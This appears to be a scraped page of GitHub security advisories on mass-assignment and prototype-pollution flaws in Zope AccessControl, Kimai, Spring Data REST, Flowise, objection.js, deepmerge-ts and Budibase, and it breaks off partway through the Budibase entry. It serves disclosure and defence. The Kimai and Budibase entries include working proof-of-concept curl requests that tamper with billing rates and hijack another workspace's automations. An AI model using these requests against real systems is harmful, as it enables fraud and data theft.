  "details": "### Impact\nThe module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope\u0027s object database, such as the contents of `Script (Python)` objects. \n\nThe policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python\u0027s `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.\n\nBy default, you need to have the admin-level Zope \"Manager\" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.\n\n### Patches\nThe problem has been fixed in AccessControl 4.3 and 5.2.\nOnly AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.\n\n### Workarounds\nA site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)",
  "id": "GHSA-qcx9-j53g-ccgf",
  "modified": "2026-06-09T13:03:00Z",
  "published": "2021-08-05T17:01:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/security/advisories/GHSA-g4gq-j4p2-j8fr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/ae2dab0cc34e6dd1561c5b12d4a56cd140f87e1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/869f947e586517566509e0ccdd4d99b60704cc02"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/Zope/commit/f72a18dda8e9bf2aedb46168761668464a4be988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-335.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/accesscontrol/PYSEC-2021-370.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-368.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/zope/PYSEC-2021-875.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zopefoundation/AccessControl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zopefoundation/AccessControl/blob/master/CHANGES.rst#51-2021-07-30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Remote Code Execution via unsafe classes in otherwise permitted modules"
}

GHSA-QH43-XRJM-4GGP

Vulnerability from github – Published: 2026-04-15 19:46 – Updated: 2026-04-27 15:20

Summary

Kimai's User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate

Details

Summary

A Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their hourly_rate and internal_rate.

Details

Kimai restrictively protects the hourly_rate and internal_rate parameters during standard GUI flow. Users lacking the hourly-rate role permissions cannot see or edit these fields via the standard Web Form (UserApiEditForm / UserEditType).

The vulnerability exists in the dedicated preferences API endpoint: src/API/UserController.php::updateUserPreference.

When a PATCH request is sent to /api/users/{id}/preferences, the endpoint iterates through the submitted JSON array and blindly applies the new values:

foreach ($request->request->all() as $preference) {
    // ... validation omitted ...
    if (null === ($meta = $profile->getPreference($name))) {
        throw $this->createNotFoundException(\sprintf('Unknown custom-field "%s" requested', $name));
    }

    $meta->setValue($value); // <-- VULNERABILITY
}

The underlying Role-Based Access Control logic (UserPreferenceSubscriber::getDefaultPreferences) accurately identifies that standard users lack the hourly-rate role, and flags the dynamically generated preference object as disabled ($preference->setEnabled(false)).

However, the updateUserPreference API endpoint entirely ignores this isEnabled() flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.

PoC

Log into Kimai as an unprivileged, standard employee account (a user with absolutely no roles array privileges).
Capture the cookie or Session cookies. (In this example, the user's ID is 2).
Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:

curl -i -X PATCH "http://localhost:8001/api/users/2/preferences" \
  -H "Content-Type: application/json" \
  -H "cookie: <YOUR_STANDARD_USER_TOKEN>" \
  -d '[
  {
    "name": "hourly_rate",
    "value": "1337"
  },
  {
    "name": "internal_rate",
    "value": "1337"
  }
]'

The server responds with HTTP/1.1 200 OK. (Note: The hourly_rate will intentionally NOT appear in the JSON echo due to User::getVisiblePreferences sanitizing output based on the same disabled flag).
If an Administrator organically views User 2's profile within Kimai, or if the user logs any new timesheets, the active and billed hourly_rate applied to their account will be confirmed as 1337.

Impact

This is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.52.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:46:45Z",
    "nvd_published_at": "2026-04-17T23:16:12Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their `hourly_rate` and `internal_rate`.\n\n### Details\nKimai restrictively protects the `hourly_rate` and `internal_rate` parameters during standard GUI flow. Users lacking the `hourly-rate` role permissions cannot see or edit these fields via the standard Web Form (`UserApiEditForm` / `UserEditType`). \n\nThe vulnerability exists in the dedicated preferences API endpoint: `src/API/UserController.php::updateUserPreference`.\n\nWhen a `PATCH` request is sent to `/api/users/{id}/preferences`, the endpoint iterates through the submitted JSON array and blindly applies the new values:\n```php\nforeach ($request-\u003erequest-\u003eall() as $preference) {\n    // ... validation omitted ...\n    if (null === ($meta = $profile-\u003egetPreference($name))) {\n        throw $this-\u003ecreateNotFoundException(\\sprintf(\u0027Unknown custom-field \"%s\" requested\u0027, $name));\n    }\n\n    $meta-\u003esetValue($value); // \u003c-- VULNERABILITY\n}\n```\n\nThe underlying Role-Based Access Control logic (`UserPreferenceSubscriber::getDefaultPreferences`) accurately identifies that standard users lack the `hourly-rate` role, and flags the dynamically generated preference object as disabled (`$preference-\u003esetEnabled(false)`). \n\nHowever, the `updateUserPreference` API endpoint entirely ignores this `isEnabled()` flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.\n\n### PoC\n1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no `roles` array privileges). \n2. Capture the `cookie` or Session cookies. (In this example, the user\u0027s ID is `2`).\n3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:\n\n```bash\ncurl -i -X PATCH \"http://localhost:8001/api/users/2/preferences\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"cookie: \u003cYOUR_STANDARD_USER_TOKEN\u003e\" \\\n  -d \u0027[\n  {\n    \"name\": \"hourly_rate\",\n    \"value\": \"1337\"\n  },\n  {\n    \"name\": \"internal_rate\",\n    \"value\": \"1337\"\n  }\n]\u0027\n```\n\n4. The server responds with `HTTP/1.1 200 OK`. (Note: The `hourly_rate` will intentionally NOT appear in the JSON echo due to `User::getVisiblePreferences` sanitizing output based on the same disabled flag).\n5. If an Administrator organically views User 2\u0027s profile within Kimai, or if the user logs any new timesheets, the active and billed `hourly_rate` applied to their account will be confirmed as `1337`.\n\u003cimg width=\"1542\" height=\"1039\" alt=\"user_account\" src=\"https://github.com/user-attachments/assets/fff5e2da-d598-408d-8a01-784499ade844\" /\u003e\n\u003cimg width=\"1539\" height=\"1037\" alt=\"admin_account\" src=\"https://github.com/user-attachments/assets/86a6e8c3-a97f-4be3-9f9f-2e23fad1d8a0\" /\u003e\n\n### Impact\nThis is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.",
  "id": "GHSA-qh43-xrjm-4ggp",
  "modified": "2026-04-27T15:20:40Z",
  "published": "2026-04-15T19:46:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-qh43-xrjm-4ggp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40486"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.53.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai\u0027s User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate"
}

GHSA-QMJ8-W7C8-VHGX

Vulnerability from github – Published: 2026-08-27 03:32 – Updated: 2026-08-27 03:32

Details

Spring Data REST does not preserve the persisted version (@Version) property of an aggregate root when handling an HTTP PUT against an immutable target type. Spring Data REST 5.1.0 Spring Data REST 5.0.0 - 5.0.6 Spring Data REST 4.5.0 - 4.5.12 Spring Data REST 4.0.0 - 4.4.15 Spring Data REST 3.7.20 and earlier

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-47850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T01:17:31Z",
    "severity": "MODERATE"
  },
  "details": "Spring Data REST does not preserve the persisted version (@Version) property of an aggregate root when handling an HTTP PUT against an immutable target type.\nSpring Data REST 5.1.0\nSpring Data REST 5.0.0 - 5.0.6\nSpring Data REST 4.5.0 - 4.5.12\nSpring Data REST 4.0.0 - 4.4.15\nSpring Data REST 3.7.20 and earlier",
  "id": "GHSA-qmj8-w7c8-vhgx",
  "modified": "2026-08-27T03:32:58Z",
  "published": "2026-08-27T03:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47850"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-47850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QR8Q-6C25-RPPR

Vulnerability from github – Published: 2026-06-20 18:31 – Updated: 2026-06-20 18:31

Details

Flowise before 3.1.2 contains a mass assignment vulnerability in the PUT /api/v1/user endpoint that allows authenticated users to directly modify the credential field without validation. Attackers can bypass password change verification and session invalidation by supplying a crafted password hash, establishing persistent account access after temporary session compromise.

Severity

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-56276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-20T16:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Flowise before 3.1.2 contains a mass assignment vulnerability in the PUT /api/v1/user endpoint that allows authenticated users to directly modify the credential field without validation. Attackers can bypass password change verification and session invalidation by supplying a crafted password hash, establishing persistent account access after temporary session compromise.",
  "id": "GHSA-qr8q-6c25-rppr",
  "modified": "2026-06-20T18:31:29Z",
  "published": "2026-06-20T18:31:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-59fh-9f3p-7m39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56276"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-mass-assignment-in-put-api-v1-user-allows-password-hash-override"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R659-8XFP-J327

Vulnerability from github – Published: 2021-09-07 23:09 – Updated: 2023-09-07 18:40

Summary

objection.js Prototype Pollution vulnerability

Details

objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). This issue is patched in version 2.2.16.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "objection"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-07T19:01:54Z",
    "nvd_published_at": "2021-09-06T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027). This issue is patched in version 2.2.16.",
  "id": "GHSA-r659-8xfp-j327",
  "modified": "2023-09-07T18:40:01Z",
  "published": "2021-09-07T23:09:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Vincit/objection.js/commit/46b842a6bc897198b83f41ac85c92864b991d7e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vincit/objection.js/commit/b41aab8dcd78f426f7468dcda541a7aca18a66a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vincit/objection.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/c98e0f0e-ebf2-4072-be73-a1848ea031cc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "objection.js Prototype Pollution vulnerability"
}

GHSA-R9W3-G83Q-M6HQ

Vulnerability from github – Published: 2022-04-01 17:26 – Updated: 2022-04-13 16:28

Summary

Prototype Pollution in deepmerge-ts

Details

deepmerge-ts is used to merge 2 or more objects respecting type information. deepmerge-ts is vulnerable to Prototype Pollution via file deepmerge.ts, function defaultMergeRecords(). A fix was released in version 4.0.2. Currently, there is no known workaround.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepmerge-ts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-01T17:26:03Z",
    "nvd_published_at": "2022-04-01T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "deepmerge-ts is used to merge 2 or more objects respecting type information. deepmerge-ts is vulnerable to Prototype Pollution via file deepmerge.ts, function defaultMergeRecords(). A fix was released in version 4.0.2. Currently, there is no known workaround.",
  "id": "GHSA-r9w3-g83q-m6hq",
  "modified": "2022-04-13T16:28:10Z",
  "published": "2022-04-01T17:26:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/RebeccaStevens/deepmerge-ts/security/advisories/GHSA-r9w3-g83q-m6hq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RebeccaStevens/deepmerge-ts/commit/b39f1a93d9e1c3541bd2fe159fd696a16dbe1c72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RebeccaStevens/deepmerge-ts/commit/d637db7e4fb2bfb113cb4bc1c85a125936d7081b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RebeccaStevens/deepmerge-ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in deepmerge-ts"
}

GHSA-RGVG-3WPC-H44P

Vulnerability from github – Published: 2026-06-22 23:20 – Updated: 2026-07-21 15:04

Summary

Budibase: Mass Assignment in Webhook Trigger Allows Cross-Workspace Automation Execution via appId Override

Details

Summary

The webhook trigger endpoint in Budibase is publicly accessible and passes the full HTTP request body into automation execution parameters. A mass assignment vulnerability in externalTrigger() allows an attacker to overwrite the internal appId property by including it in the webhook POST body. When the automation is processed asynchronously (the default path for webhooks without a collect step), the worker executes the attacker-defined automation in the context of the victim's workspace, granting full read/write access to the victim's database.

Details

The webhook trigger route is registered as a public endpoint with no authentication:

// packages/server/src/api/routes/webhook.ts:12
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The controller passes the raw request body as fields alongside the server-derived appId:

// packages/server/src/api/controllers/webhook.ts:142-148
await triggers.externalTrigger(target, {
  fields: {
    ...ctx.request.body,  // attacker-controlled
    body: ctx.request.body,
  },
  appId: prodAppId,       // server-controlled
})

In externalTrigger(), for webhook-triggered automations, params.fields is spread back into params:

// packages/server/src/automations/triggers.ts:237-241
params = {
  ...params,          // appId: prodAppId (server-controlled)
  ...params.fields,   // appId: VICTIM_ID (attacker-controlled, overwrites above)
  fields: {},
}

Because params.fields is spread after params, any key in the attacker's body overwrites the corresponding property in params. An attacker including "appId": "app_VICTIM_WORKSPACE_ID" in the POST body overwrites the legitimate, server-derived appId.

The contaminated params become data.event and are queued asynchronously:

// packages/server/src/automations/triggers.ts:244,271
const data: AutomationData = { automation, event: params }
// ...
return quotas.addAction(() => automationQueue.add(data, JOB_OPTS))

The async worker uses job.data.event.appId to set the workspace context:

// packages/server/src/threads/automation.ts:917,929-930
const workspaceId = job.data.event.appId  // attacker-controlled
// ...
return await context.doInAutomationContext({
  workspaceId,  // victim's workspace
  automationId,
  task: async () => { /* automation steps run here */ }
})

The synchronous path (for webhooks with a collect step) correctly overwrites appId at triggers.ts:264:

data.event = {
  ...data.event,
  appId: context.getWorkspaceId(),  // server-controlled fix
  automation,
}

This proves the developers intended appId to be server-controlled but missed applying the same fix to the async path, which is the default for all webhooks without a collect step.

PoC

Prerequisites: Attacker has builder access to their own Budibase workspace and knows a victim workspace ID (format: app_<uuid>).

Step 1: Attacker creates an automation in their own workspace with a webhook trigger and data-exfiltration steps (e.g., Query Rows → Execute Script to send data externally).

Step 2: Attacker creates a webhook for that automation and notes the webhook URL:

POST /api/webhooks/trigger/<ATTACKER_INSTANCE>/<WEBHOOK_ID>

Step 3: Attacker triggers the webhook with the victim's workspace ID injected into the body:

curl -X POST https://budibase.example.com/api/webhooks/trigger/app_ATTACKER_ID/wh_WEBHOOK_ID \
  -H 'Content-Type: application/json' \
  -d '{"appId": "app_VICTIM_WORKSPACE_ID", "normalData": "test"}'

Expected result: The automation defined in the attacker's workspace executes in the context of the victim's workspace. All database operations (Query Rows, Create Row, Delete Row, Execute Script, etc.) operate on the victim's data.

Additional overridable fields via the same mechanism: - timeout (automation.ts:443-444): override automation execution timeout - user (automation.ts:413,435): set user context for automation steps - metadata.automationChainCount (automation.ts:293): bypass chain depth limits

Impact

An attacker with builder access to their own Budibase workspace can execute arbitrary automations (of their own design) in the context of any other workspace on the same Budibase instance, provided they know the victim's workspace ID. This enables:

Full data exfiltration: Query Rows steps read all tables in the victim's workspace
Data manipulation: Create Row, Update Row, Delete Row steps modify victim data
Arbitrary code execution in victim context: Execute Script steps run JavaScript with access to victim's environment variables and database
Cross-tenant boundary violation: In multi-tenant deployments (Budibase Cloud), the tenant ID is derived from the workspace ID, so the attack crosses tenant boundaries

The attack requires no authentication (the webhook endpoint is public) and leaves minimal audit trail since the automation execution is attributed to the attacker's automation definition but runs in the victim's context.

Recommended Fix

In packages/server/src/automations/triggers.ts, apply the same appId fix that exists in the synchronous path to the async path as well. The fix should ensure appId is always server-controlled before queuing:

// packages/server/src/automations/triggers.ts:244-272
const data: AutomationData = { automation, event: params }

// ... trigger filter check ...

+ // Ensure appId is always server-controlled, not user-supplied
+ data.event.appId = context.getWorkspaceId()

if (getResponses) {
  data.event = {
    ...data.event,
    appId: context.getWorkspaceId(),
    automation,
  }
  return quotas.addAction(() =>
    executeInThread({ data } as AutomationJob, { onProgress })
  )
} else {
  return quotas.addAction(() => automationQueue.add(data, JOB_OPTS))
}

Alternatively, use an allowlist approach for the webhook field spread to prevent any internal property from being overwritten:

// packages/server/src/automations/triggers.ts:237-241
const { appId, timeout, user, metadata, ...safeFields } = params.fields
params = {
  ...params,
  ...safeFields,
  fields: {},
}

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:20:20Z",
    "nvd_published_at": "2026-06-26T21:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe webhook trigger endpoint in Budibase is publicly accessible and passes the full HTTP request body into automation execution parameters. A mass assignment vulnerability in `externalTrigger()` allows an attacker to overwrite the internal `appId` property by including it in the webhook POST body. When the automation is processed asynchronously (the default path for webhooks without a collect step), the worker executes the attacker-defined automation in the context of the victim\u0027s workspace, granting full read/write access to the victim\u0027s database.\n\n## Details\n\nThe webhook trigger route is registered as a public endpoint with no authentication:\n\n```typescript\n// packages/server/src/api/routes/webhook.ts:12\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe controller passes the raw request body as `fields` alongside the server-derived `appId`:\n\n```typescript\n// packages/server/src/api/controllers/webhook.ts:142-148\nawait triggers.externalTrigger(target, {\n  fields: {\n    ...ctx.request.body,  // attacker-controlled\n    body: ctx.request.body,\n  },\n  appId: prodAppId,       // server-controlled\n})\n```\n\nIn `externalTrigger()`, for webhook-triggered automations, `params.fields` is spread back into `params`:\n\n```typescript\n// packages/server/src/automations/triggers.ts:237-241\nparams = {\n  ...params,          // appId: prodAppId (server-controlled)\n  ...params.fields,   // appId: VICTIM_ID (attacker-controlled, overwrites above)\n  fields: {},\n}\n```\n\nBecause `params.fields` is spread **after** `params`, any key in the attacker\u0027s body overwrites the corresponding property in `params`. An attacker including `\"appId\": \"app_VICTIM_WORKSPACE_ID\"` in the POST body overwrites the legitimate, server-derived `appId`.\n\nThe contaminated params become `data.event` and are queued asynchronously:\n\n```typescript\n// packages/server/src/automations/triggers.ts:244,271\nconst data: AutomationData = { automation, event: params }\n// ...\nreturn quotas.addAction(() =\u003e automationQueue.add(data, JOB_OPTS))\n```\n\nThe async worker uses `job.data.event.appId` to set the workspace context:\n\n```typescript\n// packages/server/src/threads/automation.ts:917,929-930\nconst workspaceId = job.data.event.appId  // attacker-controlled\n// ...\nreturn await context.doInAutomationContext({\n  workspaceId,  // victim\u0027s workspace\n  automationId,\n  task: async () =\u003e { /* automation steps run here */ }\n})\n```\n\nThe synchronous path (for webhooks with a collect step) correctly overwrites `appId` at `triggers.ts:264`:\n```typescript\ndata.event = {\n  ...data.event,\n  appId: context.getWorkspaceId(),  // server-controlled fix\n  automation,\n}\n```\n\nThis proves the developers intended `appId` to be server-controlled but missed applying the same fix to the async path, which is the default for all webhooks without a collect step.\n\n## PoC\n\n**Prerequisites:** Attacker has builder access to their own Budibase workspace and knows a victim workspace ID (format: `app_\u003cuuid\u003e`).\n\n**Step 1:** Attacker creates an automation in their own workspace with a webhook trigger and data-exfiltration steps (e.g., Query Rows \u2192 Execute Script to send data externally).\n\n**Step 2:** Attacker creates a webhook for that automation and notes the webhook URL:\n```\nPOST /api/webhooks/trigger/\u003cATTACKER_INSTANCE\u003e/\u003cWEBHOOK_ID\u003e\n```\n\n**Step 3:** Attacker triggers the webhook with the victim\u0027s workspace ID injected into the body:\n\n```bash\ncurl -X POST https://budibase.example.com/api/webhooks/trigger/app_ATTACKER_ID/wh_WEBHOOK_ID \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"appId\": \"app_VICTIM_WORKSPACE_ID\", \"normalData\": \"test\"}\u0027\n```\n\n**Expected result:** The automation defined in the attacker\u0027s workspace executes in the context of the victim\u0027s workspace. All database operations (Query Rows, Create Row, Delete Row, Execute Script, etc.) operate on the victim\u0027s data.\n\n**Additional overridable fields via the same mechanism:**\n- `timeout` (`automation.ts:443-444`): override automation execution timeout\n- `user` (`automation.ts:413,435`): set user context for automation steps\n- `metadata.automationChainCount` (`automation.ts:293`): bypass chain depth limits\n\n## Impact\n\nAn attacker with builder access to their own Budibase workspace can execute arbitrary automations (of their own design) in the context of any other workspace on the same Budibase instance, provided they know the victim\u0027s workspace ID. This enables:\n\n- **Full data exfiltration**: Query Rows steps read all tables in the victim\u0027s workspace\n- **Data manipulation**: Create Row, Update Row, Delete Row steps modify victim data\n- **Arbitrary code execution in victim context**: Execute Script steps run JavaScript with access to victim\u0027s environment variables and database\n- **Cross-tenant boundary violation**: In multi-tenant deployments (Budibase Cloud), the tenant ID is derived from the workspace ID, so the attack crosses tenant boundaries\n\nThe attack requires no authentication (the webhook endpoint is public) and leaves minimal audit trail since the automation execution is attributed to the attacker\u0027s automation definition but runs in the victim\u0027s context.\n\n## Recommended Fix\n\nIn `packages/server/src/automations/triggers.ts`, apply the same `appId` fix that exists in the synchronous path to the async path as well. The fix should ensure `appId` is always server-controlled before queuing:\n\n```typescript\n// packages/server/src/automations/triggers.ts:244-272\nconst data: AutomationData = { automation, event: params }\n\n// ... trigger filter check ...\n\n+ // Ensure appId is always server-controlled, not user-supplied\n+ data.event.appId = context.getWorkspaceId()\n\nif (getResponses) {\n  data.event = {\n    ...data.event,\n    appId: context.getWorkspaceId(),\n    automation,\n  }\n  return quotas.addAction(() =\u003e\n    executeInThread({ data } as AutomationJob, { onProgress })\n  )\n} else {\n  return quotas.addAction(() =\u003e automationQueue.add(data, JOB_OPTS))\n}\n```\n\nAlternatively, use an allowlist approach for the webhook field spread to prevent any internal property from being overwritten:\n\n```typescript\n// packages/server/src/automations/triggers.ts:237-241\nconst { appId, timeout, user, metadata, ...safeFields } = params.fields\nparams = {\n  ...params,\n  ...safeFields,\n  fields: {},\n}\n```",
  "id": "GHSA-rgvg-3wpc-h44p",
  "modified": "2026-07-21T15:04:54Z",
  "published": "2026-06-22T23:20:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-rgvg-3wpc-h44p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
